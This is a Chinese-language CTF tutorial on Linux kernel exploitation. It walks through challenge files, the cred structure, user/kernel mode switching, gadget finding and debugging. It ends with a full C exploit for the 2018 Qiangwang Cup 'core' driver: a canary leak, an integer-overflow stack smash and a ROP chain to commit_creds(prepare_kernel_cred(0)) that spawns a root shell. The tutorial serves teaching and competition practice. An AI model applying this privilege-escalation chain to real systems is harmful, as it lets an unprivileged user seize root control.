比赛中的kernel pwn
比赛中我们会得到下面几个文件

- bzImage 这是一个内核编译生成的压缩内核映像
- core.cpio这是一个文件管理系统
针对core.cpio会有一系列常规操作
mkdir core
cd core
mv ../core.cpio core.cpio.gz // cp ../core.cpio core.cpio.gz
gunzip core.cpio.gz
cpio -idmv < core.cpio
然后我们在core这个目录下我们可以看见

这里有一个init文件,我们用文本编辑器打开
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
#poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
这些就是内核启动时候的一些环境信息,其中
insmod /core.ko
这个core.ko文件就是我们主要分析的文件,这个系统挂载了core.ko这么个文件,往往漏洞就出现在这里,针对这个内核文件我们会写一个c语言的程序来完成我们的攻击。
setsid /bin/cttyhack setuidgid 1000 /bin/sh 这句话代表着我们是用什么用户,我们往往在本地中会将这句话改为
setsid /bin/cttyhack setuidgid 0 /bin/sh
- start.sh这是一个启动Linux的脚本
#!/bin/bash
qemu-system-x86_64 \
-m 128M \ //128m 的大小
-kernel bzImage \ //选择bzImage这个内核
-initrd core.cpio \ //选择core.cpio这个文件管理系统
-append 'console=ttyS0 kaslr quiet' \ //kaslr就是开启了地址随机化
-monitor /dev/null \
-cpu kvm64,+smep,+smap \ //内核保护措施
-smp cores=1,threads=1 \
-nographic
- vmlinux是 编译生成的最原始的文件,里面是有符号表与一些gadget,常用于debug
执行启动脚本之后我们会得到这样一个有普通用户权限的虚拟机环境

在比赛中我们要把普通用户变成特权用户,flag就在特权用户的目录下

我们编写脚本完成之后,打远程时一般通过一些方式将脚本发送到服务端。
原理
内核
百度一下
ioctl
ioctl 也是一个系统调用,用于与设备通信。
linux的内核我们是可以拓展的,对于一些我们写的驱动我们可以通过这个系统调用来完成。
cred结构体
内核会将各个进程的权限用一个cred结构体保存着,通过这个结构体,内核就知道这个进程的权限。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
在一些情况下我们能通过修改这个结构体的一些内容来完成提权。不过我们常常会使用下面这个函数
commit_creds(prepare_kernel_cred(0))
这两个函数会在一个固定的地址/proc/kallsyms,一些题目中会在init将这个地址改变
下面就是将kallsyms改变了地址,我们可以从这个文件中获取到这两个函数的地址。

寻找这两个地址的函数一般是固定的
size_t find_symbols(){
FILE * kallsyms_fd = fopen("/tmp/kallsyms","r");
if(kallsyms_fd<0){
puts("[*]kallsyms open error");
return 0;
}
char buf[0x30]={0};
while(fgets(buf,0x30,kallsyms_fd)){
if(commit_cred && prepare_kernel_cred){
return 0;
}
if(strstr(buf,"commit_cred")&&!commit_cred){
char hex[20]={0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&commit_cred);
printf("commit_cred_addr------------------>%p\n",commit_cred);
vmlinux_base = commit_cred - 0x9c8e0;
printf("vmlinux_base--------------------->%p\n",vmlinux_base);
}
if(strstr(buf,"prepare_kernel_cred")&&!prepare_kernel_cred){
char hex[20]={0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&prepare_kernel_cred);
printf("prepare_kernel_cred_addr--------------------->%p\n",prepare_kernel_cred);
}
}
if(!(commit_cred&&prepare_kernel_cred)){
puts("[*]find symbols error\n");
return 0;
}
}
用户态到内核态
当发生中断,系统调用,产生异常。我们就会从用户态切换到内核态,切换的过程会有一些过程
- 通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
- 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
- 通过 push 保存各寄存器值
ENTRY(entry_SYSCALL_64)
/* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
SWAPGS_UNSAFE_STACK
/* 保存栈值,并设置内核栈 */
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
/* 通过push保存寄存器值,形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx tuichu /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
- 通过汇编指令判断是否为 x32_abi。
- 通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。
内核态到用户态
- 通过 swapgs 恢复 GS 值
- 通过 sysretq 或者 iretq 恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)
可能会有这样的一个疑问?为什么在内核中提取到了权限之后还要返回用户态?用一张ppt回答

也就是说我们在内核态中我们有很多的事情不能做,所以我们要在获取权限之后再返回用户态
我们在内核中提权了返回内核时,我们要注意之前的寄存器信息,所以我们要保存这些状态,这个函数一般也是固定的
void save_status(){
__asm__("mov usr_cs,cs;"
"mov usr_ss,ss;"
"mov usr_sp,rsp;"
"pushf;"
"pop usr_rflags;"
);
puts("[*]status has been saved");
}
然后返回的时候还需要一些寄存器,我们要从vmlinux提取一些gadget,这里一般用ropper,而不用ROPgadget,因为vmlinux是一个很大的文件,用ROPgadget跑的话会跑很久
ropper安装
不推荐用pip安装,会有很大问题。使用时要给虚拟机多分配内存,要不然会卡住。
安装keystone-engine
$ git clone https://github.com/keystone-engine/keystone.git
$ cd keystone
$ mkdir build
$ cd build
$ ../make-share.sh
$ sudo make install
$ sudo ldconfig
$ cd ../bindings/python
$ sudo make install3 # or sudo make install for python2-bindings
如果有报错,我遇到的问题我没有截图但是我扩大了内存就完成了。
安装ropper
sudo pip3 install filebytes==0.9.18
git clone https://github.com/sashs/Ropper.git
cd Ropper
sudo python3 setup.py install
使用
调试
qemu启动时一般会有一个端口开放我们可以用这个端口来调试
bzImage往往是没有符号表,所以我们调试时往往会加上./vmlinux
gdb ./vmlinux -q
add-symbol-file ./core 0xffffffffc02eb000
b core_read
target remote localhost:1234
我们内核有符号表了,但是驱动还没有所以我们要给驱动也加上,我们用root用户就能在qemu中下面这个地址拿到我们的驱动加载地址


我们打完断点,连上qemu之后,在qemu中运行我们的文件我们就能实现我们的调试,就和用户态调试一样,但是会有延迟
get shell
下面以2018强网杯core为例
有canary保护

ioctl提供了下面几种

core_read中

当off为0x40时我们就能读出canary,而off是我们可以控制的。
在core_copy_func中存在一个溢出漏洞
int变为unsignint存在一个整形漏洞,这里就能实现一个溢出

我直接拿了wiki的wp跑
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}
void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}
int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);
size_t rop[0x1000] = {0};
int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
return 0;
}
我写了一个打包脚本
#!/bin/sh
gcc expolit.c -static -masm=intel -g -o expolit
mv expolit core/tmp
cd core
find . | cpio -o --format=newc > core.cpio
mv core.cpio ..
cd ..
./start.sh


然后执行我们的脚本

完成了我们的提权过程,其实这个题目还有很多其他方式做。
本文介绍了kernel pwn的基本概念,包括在比赛中遇到的文件分析,如bzImage、core.cpio和core.ko。讲解了内核、ioctl、cred结构体的作用,以及用户态与内核态的转换。提到了利用commit_creds(prepare_kernel_cred(0))进行权限提升,并讨论了调试技巧和获取shell的方法。
1325

被折叠的 条评论
为什么被折叠?



